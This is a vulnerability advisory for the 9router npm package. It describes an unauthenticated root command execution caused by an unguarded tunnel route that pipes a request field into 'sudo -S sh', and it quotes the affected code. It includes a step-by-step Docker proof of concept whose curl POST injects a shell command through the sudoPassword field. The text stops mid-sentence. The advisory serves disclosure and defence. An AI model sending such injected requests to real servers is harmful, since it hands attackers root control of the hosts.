# Unauthenticated RCE via `/api/tunnel/tailscale-install` **Affected:** `9router` (npm package) — current master (`v0.4.39`). ### Summary `POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes. ### Details #### 1. Middleware matcher (`src/proxy.js:3-15`) ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ``` Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them. #### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`) ```js export async function POST(request) { const body = await request.json().catch(() => ({})); ... const sudoPassword = body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || ""; ... const result = await installTailscale(sudoPassword, shortId, (msg) => { send("progress", { message: msg }); }); ... } ``` `body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux. #### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`) ```js async function installTailscaleLinux(sudoPassword, log) { log("Downloading install script..."); return new Promise((resolve, reject) => { const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... }); let scriptContent = ""; curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); }); curlChild.on("exit", (code) => { if (code !== 0) return reject(...); log("Running install script..."); const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true }); ... child.stdin.write(`${sudoPassword}\n`); // ← from request body child.stdin.write(scriptContent); child.stdin.end(); }); }); } ``` The byte stream sent to the stdin of the `sudo -S sh` child process is: ``` <sudoPassword from request body>\n <https://tailscale.com/install.sh body> ``` When the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line: 1. The `sudoPassword` value from the request — interpreted as the first shell command. 2. The `install.sh` body — interpreted as subsequent shell input. Appending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user. Both "Docker container running as root" and "`npm i -g 9router` on a host with `NOPASSWD` sudo" reach this path. ### PoC The reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload. **Step 1 — build the target image** ```sh docker build -t 9router-vuln-root - <<'EOF' FROM node:22-bookworm-slim RUN apt-get update && apt-get install -y --no-install-recommends \ sudo curl ca-certificates \ && rm -rf /var/lib/apt/lists/* RUN npm install -g [email protected] EXPOSE 20128 CMD ["9router"] EOF ``` **Step 2 — start the target** ```sh docker run -d --rm --name target -p 127.0.0.1:20129:20128 \ 9router-vuln-root 9router --log --skip-update until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done ``` **Step 3 — exploit (one unauthenticated POST)** ```sh curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \ -H 'Content-Type: application/json' \ -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}' ``` **Step 4 — verify** ```sh docker exec target cat /tmp/pwned.txt # uid=0(root) gid=0(root) groups=0(root) ``` The trailing `"Tailscale not installed"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh`

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